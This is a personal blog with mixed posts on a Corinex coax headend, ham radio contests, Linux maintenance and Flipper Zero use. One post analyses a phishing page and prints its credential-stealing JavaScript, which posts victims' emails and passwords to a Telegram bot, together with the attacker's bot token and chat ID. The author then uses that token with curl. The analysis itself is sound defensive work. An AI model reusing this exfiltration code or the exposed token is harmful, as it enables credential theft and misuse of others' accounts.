I dug up the Corinex CXP-LVC-GWYC I have in the cable modem hardware collection
and gave it a try. Picture: Corinex CXP-LVC-GWYC.
I learned the default password from the place it was installed and that gave me
access to the web interface. But by default the device starts in customer
premises equipment (CPE) mode, meaning it is a client waiting for a headend
(HE). I want a working headend with other cable modems connecting! This is
not configured via the web interface, which is just for viewing the
status.
I found configuration documentation on-line:
Corinex CXP HDC LVC UserGuide
which told me I need to set up special DHCP options and a tftp server to serve
the device a configuration file to make it work as a headend (HE) unit.
The Corinex CXP-LVC-GWYC is quite specific about the DHCP options to actually
accept them and I failed a few tries with ISC DHCP server. I debugged the
resulting DHCP answers with tcpdump and wireshark, just like the Corinex manual
suggests.
Setting option bootfile-name in dhcpd.conf was accepted but
showed no effect in the resulting DHCP offer/acknowledgement. The specific
options I had to set to make the Corinex headend start fetching the
configuration via tftp:
which is a very minimal configuration to send signals over coax only, not
over the powerline. With this configuration it is in the right mode according
to the webinterface.
The GENERAL_SIGNAL_REG_POWER_MASK_ENABLE = YES option sets notches
which block certain frequencies. Those frequencies are well-known to me: they
are the HF amateur bands.
So I connected some coax cable and an attenuator (-20 dB) to make sure nothing
got overloaded, and connected a Corinex HD200 CableLAN. Picture Corinex HD200 CableLAN front.
This connected to the PLC over coax network, and showed up in the webinterface
of the headend as:
No. PLC Port MAC Address Phy Tx Phy Rx Bridge State
1 9 000BC21120A0 143 Mbps 174 Mbps Enabled
Past weekend was the CQ World Wide DX contest CW
2025 edition. I checked my contest macros and configuration beforehand and
planned to participate most on Sunday.
On Saturday there was an event of our radioclub where I wasn't home until the
early evening so I made a few contacts in the evening. Bands were already
closing so I managed one contacts on 20 meters and a few contacts on 40 meters.
On Sunday I set up my multiband vertical in the front yard to get good access
to the 15 meter band. The radials of this antenna have been changed so they now
all originate closer to the antenna base, this should improve the gain
somewhat. The SWR of the antenna wasn't good on 15 meters so something is 'off'
but I used the antenna tuner in the radio to work with it.
On 15 meters I made 120 contacts so the antenna does work! I have added
Barbados and Montserrat in morse, and made contacts with countries that may
help to get them confirmed. The total number of contacts is 156 which is nice
for the amount of time I was behind the radio.
The results according to TLF:
Cybercriminal
It's always nice to have some time to dive into a specific phishing attempt and
find out how the credentials are transmitted to the attackers. Today I had
some time and the used javascript showed:
// ðŸ"’ Replace with your real bot token and chat ID
const BOT_TOKEN = '8457941767:AAEBXJlzFGvtWghr3bOboElScKk_CR7Q6Z8';
const CHAT_ID = '7244778253';
async function sendToTelegram(email, password) {
const message = `ðŸ"� *New Login Attempt:*\n\nðŸ"§ Email: \`${email}\`\nðŸ"‘ Password: \`${password}\`\n🕒 Time: ${new Date().toLocaleString()}\nðŸŒ� User-Agent: ${navigator.userAgent}`;
try {
const response = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
chat_id: CHAT_ID,
text: message,
parse_mode: 'Markdown'
})
});
if (!response.ok) {
console.error('Telegram API Error:', await response.text());
}
} catch (error) {
console.error('Failed to send to Telegram:', error);
}
}
But I can do something similar with curl:
$ curl 'https://api.telegram.org/bot8457941767:AAEBXJlzFGvtWghr3bOboElScKk_CR7Q6Z8/sendMessage?chat_id=7244778253&text=Your%20phishing%20site%20leaks%20the%20telegram%20credentials.%0A'
{"ok":true,"result":{"message_id":321,"from":{"id":8457941767,"is_bot":true,"first_name":"EL- 10.9.18.20","username":"ELMarsPlutobot"},"chat":{"id":7244778253,"first_name":"Immunity","username":"immunityK4","type":"private"},"date":1763997713,"text":"Your phishing site leaks the telegram credentials."}}
So I guess "immunityK4" got an unexpected message from "ELMarsPlutobot".
The last machine to get the upgrade from Devuan beowulf to Devuan chimaera
has been finished. It's still running with an LVM snapshot so I can revert if
needed. I will clear the snapshot when things run fine for a day or two.
Only minor issues during the upgrade: the /boot partition ran out of
space so I had to clear out an old kernel and the tpm2-abrmd
could not start. Which probably is due to the fact the motherboard has no
TPM2 chip, so I removed it.
On to the next round of upgrades, since Devuan chimaera is already
oldoldstable.
I had a Raspberry Pi stop during the night and after a reboot it worked but
showed errors suggesting the micro SD was on its last legs. So I saved an
image of the micro SD and tried to transfer this to a new micro SD and
continue.
The working new micro SD was somewhat smaller, the old one was "16 Gigabyte"
which turned out to be:
Disk /dev/mmcblk0: 14.48 GiB, 15552479232 bytes, 30375936 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe0b1c8c4
Device Boot Start End Sectors Size Id Type
/dev/mmcblk0p1 8192 532479 524288 256M c W95 FAT32 (LBA)
/dev/mmcblk0p2 532480 30375935 29843456 14.2G 83 Linux
And the new one was "16 Gigabyte" which turned out to be:
Disk /dev/mmcblk0: 14.4 GiB, 15462301696 bytes, 30199808 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe0b1c8c4
Device Boot Start End Sectors Size Id Type
/dev/mmcblk0p1 8192 532479 524288 256M c W95 FAT32 (LBA)
/dev/mmcblk0p2 532480 30199807 29667328 14.2G 83 Linux
which is indeed somewhat smaller. I noticed the dd from the imagefile to
the micro SD showed an error:
dd: error writing '/dev/mmcblk0': No space left on device
I tried deleting and recreating the partition, which gives a very sensible
warning but I used this option:
Disk /dev/mmcblk0: 14.4 GiB, 15462301696 bytes, 30199808 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe0b1c8c4
Device Boot Start End Sectors Size Id Type
/dev/mmcblk0p1 8192 532479 524288 256M c W95 FAT32 (LBA)
/dev/mmcblk0p2 532480 30375935 29843456 14.2G 83 Linux
Command (m for help): d
Partition number (1,2, default 2): 2
Partition 2 has been deleted.
Command (m for help): n
Partition type
p primary (1 primary, 0 extended, 3 free)
e extended (container for logical partitions)
Select (default p): p
Partition number (2-4, default 2): 2
First sector (2048-30199807, default 2048): 532480
Last sector, +/-sectors or +/-size{K,M,G,T,P} (532480-30199807, default 30199807):
Created a new partition 2 of type 'Linux' and of size 14.1 GiB.
Partition #2 contains a ext4 signature.
Do you want to remove the signature? [Y]es/[N]o: n
So now the partition exists again but with the new ending. But resizing the
filesystem in this condition failed:
koos@moore:~$ sudo resize2fs /dev/mmcblk0p2
resize2fs 1.46.5 (30-Dec-2021)
Please run 'e2fsck -f /dev/mmcblk0p2' first.
koos@moore:~$ sudo e2fsck -f /dev/mmcblk0p2
e2fsck 1.46.5 (30-Dec-2021)
The filesystem size (according to the superblock) is 3730432 blocks
The physical size of the device is 3708416 blocks
Either the superblock or the partition table is likely to be corrupt!
Abort? no
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
rootfs: 66288/917472 files (0.2% non-contiguous), 561525/3730432 blocks
koos@moore:~$ sudo resize2fs /dev/mmcblk0p2
resize2fs 1.46.5 (30-Dec-2021)
Resizing the filesystem on /dev/mmcblk0p2 to 3708416 (4k) blocks.
resize2fs: Invalid argument while trying to resize /dev/mmcblk0p2
Please run 'e2fsck -fy /dev/mmcblk0p2' to fix the filesystem
after the aborted resize operation.
The solution is to take the steps in the other order (the resize2fs manpage
states this clearly, it was my error):
first shrink the filesystem by giving a desired size on the resize2fs
commandline, then change the partition. After that I used resize2fs to grow the
filesystem back to the new size of the partition.
The Raspberry Pi is running fine again. Maybe I need to look at options for
read-only filesystems to reduce wear.
Ever since upgrading the router/webproxy virtual machine almost a year ago
I noticed that webpages that used a large amount of objects from a backend
server saw strange delays on loading. Checking the network socket status
between webproxy and backend servers saw sockets in TIME_WAIT / CLOSE_WAIT
state. Packets somehow got lost over the network bridge.
This problem mostly showed up when I visited the mediawiki instance I use for
internal documentation, which is closed off for other visitors. So it was
annoying me a bit, but most outside visitors visiting my websites never got
an idea.
The problem started when the router/webproxy virtual machine went from linux
kernel 4.19.0 with haproxy 1.8.19 to kernel 5.10.0 with haproxy 2.2.9. Earlier
changes in the kernel on the backend webservers didn't influence this.
I tried a lot of things to fix this which didn't work:
Linux kernel from linux-image-6.1.0
Making sure return traffic from webservers was allowed in the firewall
rules, circumventing the statefull rules (the 'dmz' network with webservers has
strict rules)
Tweaking haproxy settings: IPv4 to backend servers in stead of IPv6
Checking local port ranges
Tweaking haproxy settings for http-reuse
Tweaking haproxy settings for http-server-close
Checking all network bridges to have the right MTU (one path has to have MTU 1508 because of PPPoE)
As a workaround I had the timeouts in haproxy quite short, because it's over
a network bridge between two virtual machines.
Today I tried changing the CPU affinity for virtual machines. This finally
changed things. The homeserver with virtual machines has 12 cores, with 6
L1/L2 caches.
I configured each two virtual CPUs of a virtual machines to 'stick' to a pair
of cores with the same L1/L2 cache, so pairs 0+6, 1+7, 2+8, 3+9, 4+10 and 5+11.
In the virtual machine definition XML this looks like:
This configuration seems to have stopped the problem finally.
My best guess is that it has to do with http requests that cause some hard
work for the core and the scheduler changing the load over the CPUs because
one is busier, and moves that invalidate CPU caches causing delays.
So I am not sure whether this is by itself a linux bug, a hardware bug or a
configuration error.
Update: after a few days
The website loading problems have changed from fast reactions mixed with long
waits in TIME_WAIT / CLOSE_WAIT to slower reactions but no long waits. The CPU
statistics for the host system show a serious rise in time spent in SoftIRQ. So
I am not sure I completely solved the issue, but I changed something.
De graafwerkzaamheden van
Open Dutch Fiber in onze wijk gaan gestaag door en bij heel wat huizen
steken al turquoise eindjes glasvezel uit de grond. Nog niet bij ons huis, maar
wel een paar straten verderop.
Vanavond kwam een planner van ODF langs die contactgegevens (vooral
telefoonnummer en naam) vroeg voor het maken van een huisaansluiting. ODF wil
binnen 2 weken bellen om een afspraak te maken voor een aansluiting in de
meterkast. Hij gaf gelijk aan dat het allemaal vrijblijvend is, en nam aan dat
ik geen commerciële aanbiedingen wilde. Ik heb verteld dat ik Freedom via die
glasvezel wil, en wist dat dat nog wel even gaat duren.
Erg nette afhandeling wat mij betreft, en dat de aansluitingen gelijk tot in de
meterkast gemaakt worden betekend dat als de aansluitingen hier vrijgegeven
worden voor Fiber Operator / Freedom dat het dan vrij snel kan gaan. Maar
dat zal in 2027 zijn als alles volgens planning doorgaat.
2025年11月13日: Open Dutch Fiber in Utrecht in het nieuws
Vandaag lees ik Klachten over 'agressieve' medewerkers glasvezelbedrijf: 'Erg onwenselijk' - RTV Utrecht
over klachten over de contacten met Open Dutch Fiber. Als fan van stabiel
Internet van een goede provider wil
ik wel graag een fiber van Open Dutch Fiber waar ik dan over een tijdje
Freedom Internet
over kan krijgen. Verbinding via glasvezel is stabieler en sneller
dan over koper, en heeft geen wisselwerking met amateurradio signalen.
En dat het vanuit Open Dutch Fiber gezien handig is als zo snel mogelijk zo
veel mogelijk van de aangelegde aansluitingen verhuurd worden en dus de
investering terugverdienen is ook logisch. Maar blijkbaar gaat het ergens
onderweg mis. Ik vond in ieder geval de planner van ODF bij ons heel netjes te
werk gaan. Maar het hielp vast dat ik graag die fiber werkend wil hebben.
Binnen twee weken: niet gehaald
De "binnen twee weken" van 5 november zijn niet gehaald. Ik wacht rustig af.
It's been a month since I wrote one of these news items, but I managed to add
a few new countries/entities in amateur radio recently.
Bhutan
Gerben PG5M was active in Bhutan as A52G.
I managed to get in the log on the last day of the DXpedition in FT8 mode.
I gave it a try for morse too but I had limited time.
Niue
The Rebel DX Group was active as E6AD
from Niue. As this DXpedition was focussing on FT8 I matched that and got in
the log on 17 meter FT8.
Somalia
After an earlier failed attempt the DX explorer team is active from Somalia.
Call 6O3T
which is mainly active in FT8 due to technical circumstances. I got them in the
log on 10 meter FT8.
Wallis & Fortuna Islands
The DX obsessed group was active as FW5K
from Wallis & Fortuna Islands. And I got in the log with 20m FT4.
Bolivia
For most radio amateurs in Northern Europe it is not that special to get
South America in the log but for me it is a "difficult" part of the earth
sometimes. This has to do with my usual HF antenna on the south-east side
of our house, which makes South America harder to reach. I heard a group
from Bolivia, CP7DX
call active on 10 meter phone and I answered. After a number of tries I was
heard and got into the log.
Burundi
The Russian DX Team is in Burundi using call 9U1RU
with a large DXpedition. It is still early in the DXpedition so it is hard
to get through. I called for a while for a phone contact but did not get
through and on an operator change the next operator was hard to understand
and switched to Russian regularly. So I switched to digital mode and looked
them up and got in the log fine.
Currently I have made contacts with 242 out of 340 possible amateur radio
DXCC entities.
Update: Burundi in CW
I added Burundi in CW.
Update 2025年10月12日: Burundi in SSB
I added 9U1RU in Burundi in SSB too, which was
difficult as propagation dropped really hard the last days due to solar
eruptions. Now 4 bands (10, 12, 17, 20) and digital, CW and SSB so I can list
that DXCC as 'done'.
Yesterday evening I arrived at the radio club and while I was parking my
recumbent bicycle I noticed some people from the radio club sitting in a
car with clearly a radio. It is always nice to see what other people are
experimenting with and this was a mobile QO-100 ground station. QO-100 is the
name of the amateur radio payload on the Es'hail 2 geostationary satellite.
I was invited to sit in the car and I had a nice chat with the amateur that
brought the setup. An ICOM radio with support for SSB on 2m/70cm, connected
to a Satrover transverter
which converts the signal for the 2.4 GHz (13cm band) uplink and 10.45
GHz downlink (3 cm band). The satrover achieves high frequency stability
by using an oven-controlled oscillator.
It was quiet on the satellite, but I was able to make one voice contact with
an amateur in Bulgaria: LZ1PPL. As this was on a radio which can and does
record traffic there is a recording.
Past weekend was the CQ World Wide DX contest SSB
2025 edition. I dug up the headset interface and footswitch to be able to
participate in an SSB contest, which was a while ago.
As this is a 48-hour contest, I could pick parts of the weekend where I sat
behind the radio and tried to make contacts. I kept it to search-and-pounce
mode, searching for stations and trying to make the contact.
I made 128 contacts, split between Saturday late afternoon, Saturday
evening, Sunday morning and Sunday afternoon. There was nice amounts of
activity on all bands I tried and especially Sunday 10 meter gave me nice
amounts of contacts. This has added new countries in phone which I didn't
contact before.
The results according to TLF:
The new countries in phone: Angola, China, Corsica, Georgia, Kuwait,
Uzbekistan.
Technical issues during the contest
I used the headset interface and cheap footswitch I bought 11 years ago
Headset interface for the FT-857 radio
which works fine with the Yaesu FT-991a too.
But during transmissions the radio sometimes jumped between transmit and
receive very fast. Which is not good for the power transistors. After the
contest I opened the footswitch and used some contact spray to improve the
contacts.
First LoTW confirmations
Corsica is already confirmed.
Cape Verde with contest station
D4C also came in,
confirming Cape Verde on phone for me.
I did an apt update by hand and noticed the grafana repository had
a problem updating again:
Err:3 https://packages.grafana.com/oss/deb stable InRelease
The following signatures were invalid: EXPKEYSIG 963FA27710458545 Grafana Labs <engineering@grafana.com>
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://packages.grafana.com/oss/deb stable InRelease: The following signatures were invalid: EXPKEYSIG 963FA27710458545 Grafana Labs <engineering@grafana.com>
W: Failed to fetch https://packages.grafana.com/oss/deb/dists/stable/InRelease The following signatures were invalid: EXPKEYSIG 963FA27710458545 Grafana Labs <engineering@grafana.com>
W: Some index files failed to download. They have been ignored, or old ones used instead.
Flipper Zero logo: pixelated dolphin
Playing around with the Flipper Zero I had a look at the USB-UART bridge
available in the Flipper Zero GPIO menu.
I noticed one of the options is to access the
commandline interface (CLI) of the Flipper Zero
over the serial port. It turns out it is even simpler:
just opening the serial port on the flipper gives access to the commandline:
:~$ tio /dev/ttyACM0
[tio 21:37:08] tio v1.32[tio 21:37:08] Press ctrl-t q to quit[tio 21:37:08] Connected
_.-------.._ -,
.-"```"--..,,_/ /`-, -, \
.:" /:/ /'\ \ ,_..., `. | |
/ ,----/:/ /`\ _\~`_-"` _;
' / /`"""'\ \ \.~`_-' ,-"'/
| | | 0 | | .-' ,/` /
| ,..\ \ ,.-"` ,/` /
; : `/`""\` ,/--==,/-----,
| `-...| -.___-Z:_______J...---;
: ` _-'
_L_ _ ___ ___ ___ ___ ____--"`___ _ ___
| __|| | |_ _|| _ \| _ \| __|| _ \ / __|| | |_ _|
| _| | |__ | | | _/| _/| _| | / | (__ | |__ | |
|_| |____||___||_| |_| |___||_|_\ \___||____||___|
Welcome to Flipper Zero Command Line Interface!
Read the manual: https://docs.flipper.net/development/cli
Run `help` or `?` to list available commands
Firmware version: 1.3.4 1.3.4 (ad2a8004 built on 22-04-2025)
>: help
Available commands:
bt crypto loader
js nfc exit
input neofetch log
echo onewire device_info
free_blocks top factory_reset
uptime ? vibro
storage ikey !
start_rpc_session power subshell_demo
i2c subghz ir
update reload_ext_cmds hello_world
rfid help info
sysctl gpio date
led free
If you added a new external command and can't see it above, run `reload_ext_cmds`
Find out more: https://docs.flipper.net/development/cli
>: neofetch
_.-------.._ -, you@Ir45in
.-"```"--..,,_/ /`-, -, \ ----------
.:" /:/ /'\ \ ,_..., `. | | OS: FURI 1.3.4 1.3.4 1.3.4 ad2a8004 (SDK 86.0)
/ ,----/:/ /`\ _\~`_-"` _; Host: FZ.1 Flipper Ir45in
' / /`"""'\ \ \.~`_-' ,-"'/ Kernel: FreeRTOS 10.5.1
| | | 0 | | .-' ,/` / Uptime: 218h30m12s
| ,..\ \ ,.-"` ,/` / Display: ST7567 128x64 @ 1 bpp in 1.4"
; : `/`""\` ,/--==,/-----, DE: GuiSrv
| `-...| -.___-Z:_______J...---; Shell: CliShell
: ` _-' CPU: STM32WB55RG @ 64 MHz
Memory: 62240 / 190144 B (32%)
Disk (/ext): 23 / 14901 MiB (0%)
Battery: 75% (charging)
████████████████████████
████████████████████████
>:
Some commands work better over serial terminal than over the bitmap screen
of the Flipper Zero because of the amount of output:
Flipper Zero logo: pixelated dolphin
One of the functions of the Flipper Zero I bought
is reading/writing ibutton tags
via the 1-wire protocol.
The 'old' temperature sensors in my house are using 1-wire since the end of
2007 so I am very aware of this protocol:
1-wire projects - Koos van den Hout
and I also know about 'digital serial numbers' using this.
I suspected the metal things around some building I regularly visit were
tags for security doing their rounds and the check with the Flipper Zero
confirmed this today. I can read the Dallas DS1990 tags and see the serial
numbers. In theory I could emulate the tags to a reader now or create clone
tags.
Father, cat owned/owner, Linux fan, Internet user, book reader, radio amateur,
recumbent bicyclist, snowboarder, ipv6 fan.
For those who don't speak Dutch: how to pronounce Koos van den Hout.
